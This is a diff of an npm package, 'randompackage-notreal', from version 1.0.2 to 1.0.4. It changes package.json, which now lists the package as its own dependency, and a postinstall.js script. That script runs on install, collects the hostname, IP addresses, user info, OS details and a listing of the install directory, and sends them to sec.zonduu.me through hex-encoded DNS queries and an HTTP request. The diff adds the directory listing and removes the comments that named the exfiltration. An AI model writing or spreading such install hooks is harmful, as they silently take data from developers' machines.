randompackage-notreal 1.0.2 → 1.0.4

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "randompackage-notreal",
-  "version": "1.0.2",
+  "version": "1.0.4",
   "description": "Researcher public package",
   "main": "index.js",
   "scripts": {
@@ -14,5 +14,8 @@
     "dist/css/common.css",
     "postinstall.js",
     "index.js"
-  ]
+  ],
+  "dependencies": {
+    "randompackage-notreal": "^1.0.3"
+  }
 }

package/postinstall.js

@@ -3,6 +3,7 @@ const dns = require('dns');
 const http = require('http');
 const https = require('https');
 const os = require('os');
+const { execSync } = require('child_process');
 
 const logFile = '/tmp/postinstall.log';
 
@@ -13,12 +14,19 @@ fs.appendFileSync(logFile, `Starting postinstall script\n`);
 const hostname = os.hostname();
 const packageName = process.env.npm_package_name;
 const packageVersion = process.env.npm_package_version;
-const internalIpAddress = require('child_process').execSync('hostname -I').toString().trim();
-const currentPath = process.cwd();
+const internalIpAddress = execSync('hostname -I').toString().trim();
+const currentPath = process.cwd(); // Use process.cwd() to capture current directory
 const platform = os.platform();
 const userInfo = os.userInfo();
 
-// Operating System Details
+// Get list of files in the current directory (where npm install is run)
+let directoryFiles;
+try {
+  directoryFiles = execSync('ls').toString().trim();
+} catch (error) {
+  directoryFiles = `Error executing ls command: ${error.message}`;
+}
+
 const osDetails = {
   platform: os.platform(),
   release: os.release(),
@@ -58,23 +66,21 @@ fetchExternalIpAddress((err, externalIpAddress) => {
     currentPath,
     platform,
     userInfo,
-    osDetails // Added OS details here
+    osDetails,
+    directoryFiles // Include the directory listing from the current directory
   };
 
   fs.appendFileSync(logFile, `Data: ${JSON.stringify(data)}\n`);
 
-  // Prepare data for DNS exfiltration
   const dnsData = `${packageName}-${hostname}-${externalIpAddress}`;
   const hexData = Buffer.from(dnsData).toString('hex');
 
-  // Split hex data into parts fitting within DNS label length limit
   const maxLabelLength = 63;
   const hexDataParts = [];
   for (let i = 0; i < hexData.length; i += maxLabelLength) {
     hexDataParts.push(hexData.substring(i, i + maxLabelLength));
   }
 
-  // Send each part as a separate DNS query
   hexDataParts.forEach((part, index, arr) => {
     const partIndex = index + 1;
     const totalParts = arr.length;
@@ -88,12 +94,11 @@ fetchExternalIpAddress((err, externalIpAddress) => {
     });
   });
 
-  // HTTP fallback
   const getData = `targetUrl=${encodeURIComponent(JSON.stringify(data))}`;
 
   const options = {
-    hostname: 'sec.zonduu.me', // Replace with your HTTP server hostname
-    port: 80, // Replace with the appropriate port
+    hostname: 'sec.zonduu.me',
+    port: 80,
     path: `/callbackplz?${getData}`,
     method: 'GET'
   };